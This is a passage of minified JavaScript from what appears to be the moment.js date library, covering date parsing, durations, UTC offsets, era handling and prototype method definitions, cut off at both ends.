t,n,r,i,s,a,o,d,u;null!=(t=e._w).GG||null!=t.W||null!=t.E?(s=1,a=4,n=An(t.GG,e._a[Ue],Yt($n(),1,4).year),r=An(t.W,1),((i=An(t.E,1))<1||i>7)&&(d=!0)):(s=e._locale._week.dow,a=e._locale._week.doy,u=Yt($n(),s,a),n=An(t.gg,e._a[Ue],u.year),r=An(t.w,u.week),null!=t.d?((i=t.d)<0||i>6)&&(d=!0):null!=t.e?(i=t.e+s,(t.e<0||t.e>6)&&(d=!0)):i=s),r<1||r>wt(n,s,a)?y(e)._overflowWeeks=!0:null!=d?y(e)._overflowWeekday=!0:(o=Dt(n,r,i,s,a),e._a[Ue]=o.year,e._dayOfYear=o.dayOfYear)}function In(e){if(e._f!==i.ISO_8601)if(e._f!==i.RFC_2822){e._a=[],y(e).empty=!0;var t,n,r,s,a,o,d=""+e._i,u=d.length,l=0;for(r=G(e._f,e._locale).match(A)||[],t=0;t<r.length;t++)s=r[t],(n=(d.match(Re(s,e))||[])[0])&&((a=d.substr(0,d.indexOf(n))).length>0&&y(e).unusedInput.push(a),d=d.slice(d.indexOf(n)+n.length),l+=n.length),N[s]?(n?y(e).empty=!1:y(e).unusedTokens.push(s),We(s,n,e)):e._strict&&!n&&y(e).unusedTokens.push(s);y(e).charsLeftOver=u-l,d.length>0&&y(e).unusedInput.push(d),e._a[Je]<=12&&!0===y(e).bigHour&&e._a[Je]>0&&(y(e).bigHour=void 0),y(e).parsedDateParts=e._a.slice(0),y(e).meridiem=e._meridiem,e._a[Je]=Wn(e._locale,e._a[Je],e._meridiem),null!==(o=y(e).era)&&(e._a[Ue]=e._locale.erasConvertYear(o,e._a[Ue])),zn(e),Mn(e)}else On(e);else xn(e)}function Wn(e,t,n){var r;return null==n?t:null!=e.meridiemHour?e.meridiemHour(t,n):null!=e.isPM?((r=e.isPM(n))&&t<12&&(t+=12),r||12!==t||(t=0),t):t}function Bn(e){var t,n,r,i,s,a,o=!1;if(0===e._f.length)return y(e).invalidFormat=!0,void(e._d=new Date(NaN));for(i=0;i<e._f.length;i++)s=0,a=!1,t=D({},e),null!=e._useUTC&&(t._useUTC=e._useUTC),t._f=e._f[i],In(t),g(t)&&(a=!0),s+=y(t).charsLeftOver,s+=10*y(t).unusedTokens.length,y(t).score=s,o?s<r&&(r=s,n=t):(null==r||s<r||a)&&(r=s,n=t,a&&(o=!0));p(e,n||t)}function Un(e){if(!e._d){var t=se(e._i),n=void 0===t.day?t.date:t.day;e._a=m([t.year,t.month,n,t.hour,t.minute,t.second,t.millisecond],(function(e){return e&&parseInt(e,10)})),zn(e)}}function Gn(e){var t=new Y(Mn(Vn(e)));return t._nextDay&&(t.add(1,"d"),t._nextDay=void 0),t}function Vn(e){var t=e._i,n=e._f;return e._locale=e._locale||gn(e._l),null===t||void 0===n&&""===t?v({nullInput:!0}):("string"==typeof t&&(e._i=t=e._locale.preparse(t)),w(t)?new Y(Mn(t)):(h(t)?e._d=t:a(n)?Bn(e):n?In(e):Jn(e),g(e)||(e._d=null),e))}function Jn(e){var t=e._i;l(t)?e._d=new Date(i.now()):h(t)?e._d=new Date(t.valueOf()):"string"==typeof t?Rn(e):a(t)?(e._a=m(t.slice(0),(function(e){return parseInt(e,10)})),zn(e)):o(t)?Un(e):c(t)?e._d=new Date(t):i.createFromInputFallback(e)}function qn(e,t,n,r,i){var s={};return!0!==t&&!1!==t||(r=t,t=void 0),!0!==n&&!1!==n||(r=n,n=void 0),(o(e)&&u(e)||a(e)&&0===e.length)&&(e=void 0),s._isAMomentObject=!0,s._useUTC=s._isUTC=i,s._l=n,s._i=e,s._f=t,s._strict=r,Gn(s)}function $n(e,t,n,r){return qn(e,t,n,r,!1)}i.createFromInputFallback=T("value provided is not in a recognized RFC2822 or ISO format. moment construction falls back to js Date(), which is not reliable across all browsers and versions. Non RFC2822/ISO date formats are discouraged. Please refer to http://momentjs.com/guides/#/warnings/js-date/ for more info.",(function(e){e._d=new Date(e._i+(e._useUTC?" UTC":""))})),i.ISO_8601=function(){},i.RFC_2822=function(){};var Zn=T("moment().min is deprecated, use moment.max instead. http://momentjs.com/guides/#/warnings/min-max/",(function(){var e=$n.apply(null,arguments);return this.isValid()&&e.isValid()?e<this?this:e:v()})),Kn=T("moment().max is deprecated, use moment.min instead. http://momentjs.com/guides/#/warnings/min-max/",(function(){var e=$n.apply(null,arguments);return this.isValid()&&e.isValid()?e>this?this:e:v()}));function Xn(e,t){var n,r;if(1===t.length&&a(t[0])&&(t=t[0]),!t.length)return $n();for(n=t[0],r=1;r<t.length;++r)t[r].isValid()&&!t[r][e](n)||(n=t[r]);return n}function Qn(){return Xn("isBefore",[].slice.call(arguments,0))}function er(){return Xn("isAfter",[].slice.call(arguments,0))}var tr=function(){return Date.now?Date.now():+new Date},nr=["year","quarter","month","week","day","hour","minute","second","millisecond"];function rr(e){var t,n,r=!1;for(t in e)if(d(e,t)&&(-1===Be.call(nr,t)||null!=e[t]&&isNaN(e[t])))return!1;for(n=0;n<nr.length;++n)if(e[nr[n]]){if(r)return!1;parseFloat(e[nr[n]])!==ce(e[nr[n]])&&(r=!0)}return!0}function ir(){return this._isValid}function sr(){return Sr(NaN)}function ar(e){var t=se(e),n=t.year||0,r=t.quarter||0,i=t.month||0,s=t.week||t.isoWeek||0,a=t.day||0,o=t.hour||0,d=t.minute||0,u=t.second||0,l=t.millisecond||0;this._isValid=rr(t),this._milliseconds=+l+1e3*u+6e4*d+1e3*o*60*60,this._days=+a+7*s,this._months=+i+3*r+12*n,this._data={},this._locale=gn(),this._bubble()}function or(e){return e instanceof ar}function dr(e){return e<0?-1*Math.round(-1*e):Math.round(e)}function ur(e,t,n){var r,i=Math.min(e.length,t.length),s=Math.abs(e.length-t.length),a=0;for(r=0;r<i;r++)(n&&e[r]!==t[r]||!n&&ce(e[r])!==ce(t[r]))&&a++;return a+s}function lr(e,t){I(e,0,0,(function(){var e=this.utcOffset(),n="+";return e<0&&(e=-e,n="-"),n+R(~~(e/60),2)+t+R(~~e%60,2)}))}lr("Z",":"),lr("ZZ",""),Oe("Z",je),Oe("ZZ",je),Ne(["Z","ZZ"],(function(e,t,n){n._useUTC=!0,n._tzm=hr(je,e)}));var cr=/([\+\-]|\d\d)/gi;function hr(e,t){var n,r,i=(t||"").match(e);return null===i?null:0===(r=60*(n=((i[i.length-1]||[])+"").match(cr)||["-",0,0])[1]+ce(n[2]))?0:"+"===n[0]?r:-r}function mr(e,t){var n,r;return t._isUTC?(n=t.clone(),r=(w(e)||h(e)?e.valueOf():$n(e).valueOf())-n.valueOf(),n._d.setTime(n._d.valueOf()+r),i.updateOffset(n,!1),n):$n(e).local()}function pr(e){return-Math.round(e._d.getTimezoneOffset())}function fr(e,t,n){var r,s=this._offset||0;if(!this.isValid())return null!=e?this:NaN;if(null!=e){if("string"==typeof e){if(null===(e=hr(je,e)))return this}else Math.abs(e)<16&&!n&&(e*=60);return!this._isUTC&&t&&(r=pr(this)),this._offset=e,this._isUTC=!0,null!=r&&this.add(r,"m"),s!==e&&(!t||this._changeInProgress?Pr(this,Sr(e-s,"m"),1,!1):this._changeInProgress||(this._changeInProgress=!0,i.updateOffset(this,!0),this._changeInProgress=null)),this}return this._isUTC?s:pr(this)}function _r(e,t){return null!=e?("string"!=typeof e&&(e=-e),this.utcOffset(e,t),this):-this.utcOffset()}function yr(e){return this.utcOffset(0,e)}function gr(e){return this._isUTC&&(this.utcOffset(0,e),this._isUTC=!1,e&&this.subtract(pr(this),"m")),this}function vr(){if(null!=this._tzm)this.utcOffset(this._tzm,!1,!0);else if("string"==typeof this._i){var e=hr(Ee,this._i);null!=e?this.utcOffset(e):this.utcOffset(0,!0)}return this}function Mr(e){return!!this.isValid()&&(e=e?$n(e).utcOffset():0,(this.utcOffset()-e)%60==0)}function Lr(){return this.utcOffset()>this.clone().month(0).utcOffset()||this.utcOffset()>this.clone().month(5).utcOffset()}function Dr(){if(!l(this._isDSTShifted))return this._isDSTShifted;var e,t={};return D(t,this),(t=Vn(t))._a?(e=t._isUTC?f(t._a):$n(t._a),this._isDSTShifted=this.isValid()&&ur(t._a,e.toArray())>0):this._isDSTShifted=!1,this._isDSTShifted}function Yr(){return!!this.isValid()&&!this._isUTC}function wr(){return!!this.isValid()&&this._isUTC}function br(){return!!this.isValid()&&this._isUTC&&0===this._offset}i.updateOffset=function(){};var Tr=/^(-|\+)?(?:(\d*)[. ])?(\d+):(\d+)(?::(\d+)(\.\d*)?)?$/,kr=/^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/;function Sr(e,t){var n,r,i,s=e,a=null;return or(e)?s={ms:e._milliseconds,d:e._days,M:e._months}:c(e)||!isNaN(+e)?(s={},t?s[t]=+e:s.milliseconds=+e):(a=Tr.exec(e))?(n="-"===a[1]?-1:1,s={y:0,d:ce(a[Ve])*n,h:ce(a[Je])*n,m:ce(a[qe])*n,s:ce(a[$e])*n,ms:ce(dr(1e3*a[Ze]))*n}):(a=kr.exec(e))?(n="-"===a[1]?-1:1,s={y:xr(a[2],n),M:xr(a[3],n),w:xr(a[4],n),d:xr(a[5],n),h:xr(a[6],n),m:xr(a[7],n),s:xr(a[8],n)}):null==s?s={}:"object"==typeof s&&("from"in s||"to"in s)&&(i=Er($n(s.from),$n(s.to)),(s={}).ms=i.milliseconds,s.M=i.months),r=new ar(s),or(e)&&d(e,"_locale")&&(r._locale=e._locale),or(e)&&d(e,"_isValid")&&(r._isValid=e._isValid),r}function xr(e,t){var n=e&&parseFloat(e.replace(",","."));return(isNaN(n)?0:n)*t}function Hr(e,t){var n={};return n.months=t.month()-e.month()+12*(t.year()-e.year()),e.clone().add(n.months,"M").isAfter(t)&&--n.months,n.milliseconds=+t-+e.clone().add(n.months,"M"),n}function Er(e,t){var n;return e.isValid()&&t.isValid()?(t=mr(t,e),e.isBefore(t)?n=Hr(e,t):((n=Hr(t,e)).milliseconds=-n.milliseconds,n.months=-n.months),n):{milliseconds:0,months:0}}function jr(e,t){return function(n,r){var i;return null===r||isNaN(+r)||(x(t,"moment()."+t+"(period, number) is deprecated. Please use moment()."+t+"(number, period). See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info."),i=n,n=r,r=i),Pr(this,Sr(n,r),e),this}}function Pr(e,t,n,r){var s=t._milliseconds,a=dr(t._days),o=dr(t._months);e.isValid()&&(r=null==r||r,o&&lt(e,me(e,"Month")+o*n),a&&pe(e,"Date",me(e,"Date")+a*n),s&&e._d.setTime(e._d.valueOf()+s*n),r&&i.updateOffset(e,a||o))}Sr.fn=ar.prototype,Sr.invalid=sr;var Cr=jr(1,"add"),Or=jr(-1,"subtract");function Rr(e){return"string"==typeof e||e instanceof String}function Ar(e){return w(e)||h(e)||Rr(e)||c(e)||zr(e)||Fr(e)||null==e}function Fr(e){var t,n,r=o(e)&&!u(e),i=!1,s=["years","year","y","months","month","M","days","day","d","dates","date","D","hours","hour","h","minutes","minute","m","seconds","second","s","milliseconds","millisecond","ms"];for(t=0;t<s.length;t+=1)n=s[t],i=i||d(e,n);return r&&i}function zr(e){var t=a(e),n=!1;return t&&(n=0===e.filter((function(t){return!c(t)&&Rr(e)})).length),t&&n}function Nr(e){var t,n,r=o(e)&&!u(e),i=!1,s=["sameDay","nextDay","lastDay","nextWeek","lastWeek","sameElse"];for(t=0;t<s.length;t+=1)n=s[t],i=i||d(e,n);return r&&i}function Ir(e,t){var n=e.diff(t,"days",!0);return n<-6?"sameElse":n<-1?"lastWeek":n<0?"lastDay":n<1?"sameDay":n<2?"nextDay":n<7?"nextWeek":"sameElse"}function Wr(e,t){1===arguments.length&&(arguments[0]?Ar(arguments[0])?(e=arguments[0],t=void 0):Nr(arguments[0])&&(t=arguments[0],e=void 0):(e=void 0,t=void 0));var n=e||$n(),r=mr(n,this).startOf("day"),s=i.calendarFormat(this,r)||"sameElse",a=t&&(H(t[s])?t[s].call(this,n):t[s]);return this.format(a||this.localeData().calendar(s,this,$n(n)))}function Br(){return new Y(this)}function Ur(e,t){var n=w(e)?e:$n(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=ie(t)||"millisecond")?this.valueOf()>n.valueOf():n.valueOf()<this.clone().startOf(t).valueOf())}function Gr(e,t){var n=w(e)?e:$n(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=ie(t)||"millisecond")?this.valueOf()<n.valueOf():this.clone().endOf(t).valueOf()<n.valueOf())}function Vr(e,t,n,r){var i=w(e)?e:$n(e),s=w(t)?t:$n(t);return!!(this.isValid()&&i.isValid()&&s.isValid())&&("("===(r=r||"()")[0]?this.isAfter(i,n):!this.isBefore(i,n))&&(")"===r[1]?this.isBefore(s,n):!this.isAfter(s,n))}function Jr(e,t){var n,r=w(e)?e:$n(e);return!(!this.isValid()||!r.isValid())&&("millisecond"===(t=ie(t)||"millisecond")?this.valueOf()===r.valueOf():(n=r.valueOf(),this.clone().startOf(t).valueOf()<=n&&n<=this.clone().endOf(t).valueOf()))}function qr(e,t){return this.isSame(e,t)||this.isAfter(e,t)}function $r(e,t){return this.isSame(e,t)||this.isBefore(e,t)}function Zr(e,t,n){var r,i,s;if(!this.isValid())return NaN;if(!(r=mr(e,this)).isValid())return NaN;switch(i=6e4*(r.utcOffset()-this.utcOffset()),t=ie(t)){case"year":s=Kr(this,r)/12;break;case"month":s=Kr(this,r);break;case"quarter":s=Kr(this,r)/3;break;case"second":s=(this-r)/1e3;break;case"minute":s=(this-r)/6e4;break;case"hour":s=(this-r)/36e5;break;case"day":s=(this-r-i)/864e5;break;case"week":s=(this-r-i)/6048e5;break;default:s=this-r}return n?s:le(s)}function Kr(e,t){if(e.date()<t.date())return-Kr(t,e);var n=12*(t.year()-e.year())+(t.month()-e.month()),r=e.clone().add(n,"months");return-(n+(t-r<0?(t-r)/(r-e.clone().add(n-1,"months")):(t-r)/(e.clone().add(n+1,"months")-r)))||0}function Xr(){return this.clone().locale("en").format("ddd MMM DD YYYY HH:mm:ss [GMT]ZZ")}function Qr(e){if(!this.isValid())return null;var t=!0!==e,n=t?this.clone().utc():this;return n.year()<0||n.year()>9999?U(n,t?"YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYYYY-MM-DD[T]HH:mm:ss.SSSZ"):H(Date.prototype.toISOString)?t?this.toDate().toISOString():new Date(this.valueOf()+60*this.utcOffset()*1e3).toISOString().replace("Z",U(n,"Z")):U(n,t?"YYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYY-MM-DD[T]HH:mm:ss.SSSZ")}function ei(){if(!this.isValid())return"moment.invalid(/* "+this._i+" */)";var e,t,n,r,i="moment",s="";return this.isLocal()||(i=0===this.utcOffset()?"moment.utc":"moment.parseZone",s="Z"),e="["+i+'("]',t=0<=this.year()&&this.year()<=9999?"YYYY":"YYYYYY",n="-MM-DD[T]HH:mm:ss.SSS",r=s+'[")]',this.format(e+t+n+r)}function ti(e){e||(e=this.isUtc()?i.defaultFormatUtc:i.defaultFormat);var t=U(this,e);return this.localeData().postformat(t)}function ni(e,t){return this.isValid()&&(w(e)&&e.isValid()||$n(e).isValid())?Sr({to:this,from:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()}function ri(e){return this.from($n(),e)}function ii(e,t){return this.isValid()&&(w(e)&&e.isValid()||$n(e).isValid())?Sr({from:this,to:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()}function si(e){return this.to($n(),e)}function ai(e){var t;return void 0===e?this._locale._abbr:(null!=(t=gn(e))&&(this._locale=t),this)}i.defaultFormat="YYYY-MM-DDTHH:mm:ssZ",i.defaultFormatUtc="YYYY-MM-DDTHH:mm:ss[Z]";var oi=T("moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.",(function(e){return void 0===e?this.localeData():this.locale(e)}));function di(){return this._locale}var ui=1e3,li=60*ui,ci=60*li,hi=3506328*ci;function mi(e,t){return(e%t+t)%t}function pi(e,t,n){return e<100&&e>=0?new Date(e+400,t,n)-hi:new Date(e,t,n).valueOf()}function fi(e,t,n){return e<100&&e>=0?Date.UTC(e+400,t,n)-hi:Date.UTC(e,t,n)}function _i(e){var t,n;if(void 0===(e=ie(e))||"millisecond"===e||!this.isValid())return this;switch(n=this._isUTC?fi:pi,e){case"year":t=n(this.year(),0,1);break;case"quarter":t=n(this.year(),this.month()-this.month()%3,1);break;case"month":t=n(this.year(),this.month(),1);break;case"week":t=n(this.year(),this.month(),this.date()-this.weekday());break;case"isoWeek":t=n(this.year(),this.month(),this.date()-(this.isoWeekday()-1));break;case"day":case"date":t=n(this.year(),this.month(),this.date());break;case"hour":t=this._d.valueOf(),t-=mi(t+(this._isUTC?0:this.utcOffset()*li),ci);break;case"minute":t=this._d.valueOf(),t-=mi(t,li);break;case"second":t=this._d.valueOf(),t-=mi(t,ui)}return this._d.setTime(t),i.updateOffset(this,!0),this}function yi(e){var t,n;if(void 0===(e=ie(e))||"millisecond"===e||!this.isValid())return this;switch(n=this._isUTC?fi:pi,e){case"year":t=n(this.year()+1,0,1)-1;break;case"quarter":t=n(this.year(),this.month()-this.month()%3+3,1)-1;break;case"month":t=n(this.year(),this.month()+1,1)-1;break;case"week":t=n(this.year(),this.month(),this.date()-this.weekday()+7)-1;break;case"isoWeek":t=n(this.year(),this.month(),this.date()-(this.isoWeekday()-1)+7)-1;break;case"day":case"date":t=n(this.year(),this.month(),this.date()+1)-1;break;case"hour":t=this._d.valueOf(),t+=ci-mi(t+(this._isUTC?0:this.utcOffset()*li),ci)-1;break;case"minute":t=this._d.valueOf(),t+=li-mi(t,li)-1;break;case"second":t=this._d.valueOf(),t+=ui-mi(t,ui)-1}return this._d.setTime(t),i.updateOffset(this,!0),this}function gi(){return this._d.valueOf()-6e4*(this._offset||0)}function vi(){return Math.floor(this.valueOf()/1e3)}function Mi(){return new Date(this.valueOf())}function Li(){var e=this;return[e.year(),e.month(),e.date(),e.hour(),e.minute(),e.second(),e.millisecond()]}function Di(){var e=this;return{years:e.year(),months:e.month(),date:e.date(),hours:e.hours(),minutes:e.minutes(),seconds:e.seconds(),milliseconds:e.milliseconds()}}function Yi(){return this.isValid()?this.toISOString():null}function wi(){return g(this)}function bi(){return p({},y(this))}function Ti(){return y(this).overflow}function ki(){return{input:this._i,format:this._f,locale:this._locale,isUTC:this._isUTC,strict:this._strict}}function Si(e,t){var n,r,s,a=this._eras||gn("en")._eras;for(n=0,r=a.length;n<r;++n){switch(typeof a[n].since){case"string":s=i(a[n].since).startOf("day"),a[n].since=s.valueOf()}switch(typeof a[n].until){case"undefined":a[n].until=1/0;break;case"string":s=i(a[n].until).startOf("day").valueOf(),a[n].until=s.valueOf()}}return a}function xi(e,t,n){var r,i,s,a,o,d=this.eras();for(e=e.toUpperCase(),r=0,i=d.length;r<i;++r)if(s=d[r].name.toUpperCase(),a=d[r].abbr.toUpperCase(),o=d[r].narrow.toUpperCase(),n)switch(t){case"N":case"NN":case"NNN":if(a===e)return d[r];break;case"NNNN":if(s===e)return d[r];break;case"NNNNN":if(o===e)return d[r]}else if([s,a,o].indexOf(e)>=0)return d[r]}function Hi(e,t){var n=e.since<=e.until?1:-1;return void 0===t?i(e.since).year():i(e.since).year()+(t-e.offset)*n}function Ei(){var e,t,n,r=this.localeData().eras();for(e=0,t=r.length;e<t;++e){if(n=this.clone().startOf("day").valueOf(),r[e].since<=n&&n<=r[e].until)return r[e].name;if(r[e].until<=n&&n<=r[e].since)return r[e].name}return""}function ji(){var e,t,n,r=this.localeData().eras();for(e=0,t=r.length;e<t;++e){if(n=this.clone().startOf("day").valueOf(),r[e].since<=n&&n<=r[e].until)return r[e].narrow;if(r[e].until<=n&&n<=r[e].since)return r[e].narrow}return""}function Pi(){var e,t,n,r=this.localeData().eras();for(e=0,t=r.length;e<t;++e){if(n=this.clone().startOf("day").valueOf(),r[e].since<=n&&n<=r[e].until)return r[e].abbr;if(r[e].until<=n&&n<=r[e].since)return r[e].abbr}return""}function Ci(){var e,t,n,r,s=this.localeData().eras();for(e=0,t=s.length;e<t;++e)if(n=s[e].since<=s[e].until?1:-1,r=this.clone().startOf("day").valueOf(),s[e].since<=r&&r<=s[e].until||s[e].until<=r&&r<=s[e].since)return(this.year()-i(s[e].since).year())*n+s[e].offset;return this.year()}function Oi(e){return d(this,"_erasNameRegex")||Wi.call(this),e?this._erasNameRegex:this._erasRegex}function Ri(e){return d(this,"_erasAbbrRegex")||Wi.call(this),e?this._erasAbbrRegex:this._erasRegex}function Ai(e){return d(this,"_erasNarrowRegex")||Wi.call(this),e?this._erasNarrowRegex:this._erasRegex}function Fi(e,t){return t.erasAbbrRegex(e)}function zi(e,t){return t.erasNameRegex(e)}function Ni(e,t){return t.erasNarrowRegex(e)}function Ii(e,t){return t._eraYearOrdinalRegex||xe}function Wi(){var e,t,n=[],r=[],i=[],s=[],a=this.eras();for(e=0,t=a.length;e<t;++e)r.push(Fe(a[e].name)),n.push(Fe(a[e].abbr)),i.push(Fe(a[e].narrow)),s.push(Fe(a[e].name)),s.push(Fe(a[e].abbr)),s.push(Fe(a[e].narrow));this._erasRegex=new RegExp("^("+s.join("|")+")","i"),this._erasNameRegex=new RegExp("^("+r.join("|")+")","i"),this._erasAbbrRegex=new RegExp("^("+n.join("|")+")","i"),this._erasNarrowRegex=new RegExp("^("+i.join("|")+")","i")}function Bi(e,t){I(0,[e,e.length],0,t)}function Ui(e){return Zi.call(this,e,this.week(),this.weekday(),this.localeData()._week.dow,this.localeData()._week.doy)}function Gi(e){return Zi.call(this,e,this.isoWeek(),this.isoWeekday(),1,4)}function Vi(){return wt(this.year(),1,4)}function Ji(){return wt(this.isoWeekYear(),1,4)}function qi(){var e=this.localeData()._week;return wt(this.year(),e.dow,e.doy)}function $i(){var e=this.localeData()._week;return wt(this.weekYear(),e.dow,e.doy)}function Zi(e,t,n,r,i){var s;return null==e?Yt(this,r,i).year:(t>(s=wt(e,r,i))&&(t=s),Ki.call(this,e,t,n,r,i))}function Ki(e,t,n,r,i){var s=Dt(e,t,n,r,i),a=Mt(s.year,0,s.dayOfYear);return this.year(a.getUTCFullYear()),this.month(a.getUTCMonth()),this.date(a.getUTCDate()),this}function Xi(e){return null==e?Math.ceil((this.month()+1)/3):this.month(3*(e-1)+this.month()%3)}I("N",0,0,"eraAbbr"),I("NN",0,0,"eraAbbr"),I("NNN",0,0,"eraAbbr"),I("NNNN",0,0,"eraName"),I("NNNNN",0,0,"eraNarrow"),I("y",["y",1],"yo","eraYear"),I("y",["yy",2],0,"eraYear"),I("y",["yyy",3],0,"eraYear"),I("y",["yyyy",4],0,"eraYear"),Oe("N",Fi),Oe("NN",Fi),Oe("NNN",Fi),Oe("NNNN",zi),Oe("NNNNN",Ni),Ne(["N","NN","NNN","NNNN","NNNNN"],(function(e,t,n,r){var i=n._locale.erasParse(e,r,n._strict);i?y(n).era=i:y(n).invalidEra=e})),Oe("y",xe),Oe("yy",xe),Oe("yyy",xe),Oe("yyyy",xe),Oe("yo",Ii),Ne(["y","yy","yyy","yyyy"],Ue),Ne(["yo"],(function(e,t,n,r){var i;n._locale._eraYearOrdinalRegex&&(i=e.match(n._locale._eraYearOrdinalRegex)),n._locale.eraYearOrdinalParse?t[Ue]=n._locale.eraYearOrdinalParse(e,i):t[Ue]=parseInt(e,10)})),I(0,["gg",2],0,(function(){return this.weekYear()%100})),I(0,["GG",2],0,(function(){return this.isoWeekYear()%100})),Bi("gggg","weekYear"),Bi("ggggg","weekYear"),Bi("GGGG","isoWeekYear"),Bi("GGGGG","isoWeekYear"),re("weekYear","gg"),re("isoWeekYear","GG"),oe("weekYear",1),oe("isoWeekYear",1),Oe("G",He),Oe("g",He),Oe("GG",Ye,ve),Oe("gg",Ye,ve),Oe("GGGG",ke,Le),Oe("gggg",ke,Le),Oe("GGGGG",Se,De),Oe("ggggg",Se,De),Ie(["gggg","ggggg","GGGG","GGGGG"],(function(e,t,n,r){t[r.substr(0,2)]=ce(e)})),Ie(["gg","GG"],(function(e,t,n,r){t[r]=i.parseTwoDigitYear(e)})),I("Q",0,"Qo","quarter"),re("quarter","Q"),oe("quarter",7),Oe("Q",ge),Ne("Q",(function(e,t){t[Ge]=3*(ce(e)-1)})),I("D",["DD",2],"Do","date"),re("date","D"),oe("date",9),Oe("D",Ye),Oe("DD",Ye,ve),Oe("Do",(function(e,t){return e?t._dayOfMonthOrdinalParse||t._ordinalParse:t._dayOfMonthOrdinalParseLenient})),Ne(["D","DD"],Ve),Ne("Do",(function(e,t){t[Ve]=ce(e.match(Ye)[0])}));var Qi=he("Date",!0);function es(e){var t=Math.round((this.clone().startOf("day")-this.clone().startOf("year"))/864e5)+1;return null==e?t:this.add(e-t,"d")}I("DDD",["DDDD",3],"DDDo","dayOfYear"),re("dayOfYear","DDD"),oe("dayOfYear",4),Oe("DDD",Te),Oe("DDDD",Me),Ne(["DDD","DDDD"],(function(e,t,n){n._dayOfYear=ce(e)})),I("m",["mm",2],0,"minute"),re("minute","m"),oe("minute",14),Oe("m",Ye),Oe("mm",Ye,ve),Ne(["m","mm"],qe);var ts=he("Minutes",!1);I("s",["ss",2],0,"second"),re("second","s"),oe("second",15),Oe("s",Ye),Oe("ss",Ye,ve),Ne(["s","ss"],$e);var ns,rs,is=he("Seconds",!1);for(I("S",0,0,(function(){return~~(this.millisecond()/100)})),I(0,["SS",2],0,(function(){return~~(this.millisecond()/10)})),I(0,["SSS",3],0,"millisecond"),I(0,["SSSS",4],0,(function(){return 10*this.millisecond()})),I(0,["SSSSS",5],0,(function(){return 100*this.millisecond()})),I(0,["SSSSSS",6],0,(function(){return 1e3*this.millisecond()})),I(0,["SSSSSSS",7],0,(function(){return 1e4*this.millisecond()})),I(0,["SSSSSSSS",8],0,(function(){return 1e5*this.millisecond()})),I(0,["SSSSSSSSS",9],0,(function(){return 1e6*this.millisecond()})),re("millisecond","ms"),oe("millisecond",16),Oe("S",Te,ge),Oe("SS",Te,ve),Oe("SSS",Te,Me),ns="SSSS";ns.length<=9;ns+="S")Oe(ns,xe);function ss(e,t){t[Ze]=ce(1e3*("0."+e))}for(ns="S";ns.length<=9;ns+="S")Ne(ns,ss);function as(){return this._isUTC?"UTC":""}function os(){return this._isUTC?"Coordinated Universal Time":""}rs=he("Milliseconds",!1),I("z",0,0,"zoneAbbr"),I("zz",0,0,"zoneName");var ds=Y.prototype;function us(e){return $n(1e3*e)}function ls(){return $n.apply(null,arguments).parseZone()}function cs(e){return e}ds.add=Cr,ds.calendar=Wr,ds.clone=Br,ds.diff=Zr,ds.endOf=yi,ds.format=ti,ds.from=ni,ds.fromNow=ri,ds.to=ii,ds.toNow=si,ds.get=fe,ds.invalidAt=Ti,ds.isAfter=Ur,ds.isBefore=Gr,ds.isBetween=Vr,ds.isSame=Jr,ds.isSameOrAfter=qr,ds.isSameOrBefore=$r,ds.isValid=wi,ds.lang=oi,ds.locale=ai,ds.localeData=di,ds.max=Kn,ds.min=Zn,ds.parsingFlags=bi,ds.set=_e,ds.startOf=_i,ds.subtract=Or,ds.toArray=Li,ds.toObject=Di,ds.toDate=Mi,ds.toISOString=Qr,ds.inspect=ei,"undefined"!=typeof Symbol&&null!=Symbol.for&&(ds[Symbol.for("nodejs.util.inspect.custom")]=function(){return"Moment<"+this.format()+">"}),ds.toJSON=Yi,ds.toString=Xr,ds.unix=vi,ds.valueOf=gi,ds.creationData=ki,ds.eraName=Ei,ds.eraNarrow=ji,ds.eraAbbr=Pi,ds.eraYear=Ci,ds.year=yt,ds.isLeapYear=gt,ds.weekYear=Ui,ds.isoWeekYear=Gi,ds.quarter=ds.quarters=Xi,ds.month=ct,ds.daysInMonth=ht,ds.week=ds.weeks=xt,ds.isoWeek=ds.isoWeeks=Ht,ds.weeksInYear=qi,ds.weeksInWeekYear=$i,ds.isoWeeksInYear=Vi,ds.isoWeeksInISOWeekYear=Ji,ds.date=Qi,ds.day=ds.days=Gt,ds.weekday=Vt,ds.isoWeekday=Jt,ds.dayOfYear=es,ds.hour=ds.hours=sn,ds.minute=ds.minutes=ts,ds.second=ds.seconds=is,ds.millisecond=ds.milliseconds=rs,ds.utcOffset=fr,ds.utc=yr,ds.local=gr,ds.parseZone=vr,ds.hasAlignedHourOffset=Mr,ds.isDST=Lr,ds.isLocal=Yr,ds.isUtcOffset=wr,ds.isUtc=br,ds.isUTC=br,ds.zoneAbbr=as,ds.zoneName=os,ds.dates=T("dates accessor is deprecated. Use date instead.",Qi),ds.months=T("months accessor is deprecated. Use month instead",ct),ds.years=T("years accessor is deprecated. Use year instead",yt),ds.zone=T("moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/",_r),ds.isDSTShifted=T("isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information",Dr);var hs=P.prototype;function ms(e,t,n,r){var i=gn(),s=f().set(r,t);return i[n](s,e)}function ps(e,t,n){if(c(e)&&(t=e,e=void 0),e=e||"",null!=t)return ms(e,t,n,"month");var r,i=[];for(r=0;r<12;r++)i[r]=ms(e,r,n,"month");return i}function fs(e,t,n,r){"boolean"==typeof e?(c(t)&&(n=t,t=void 0),t=t||""):(n=t=e,e=!1,c(t)&&(n=t,t=void 0),t=t||"");var i,s=gn(),a=e?s._week.dow:0,o=[];if(null!=n)return ms(t,(n+a)%7,r,"day");for(i=0;i<7;i++)o[i]=ms(t,(i+a)%7,r,"day");return o}function _s(e,t){return ps(e,t,"months")}function ys(e,t){return ps(e,t,"monthsShort")}function 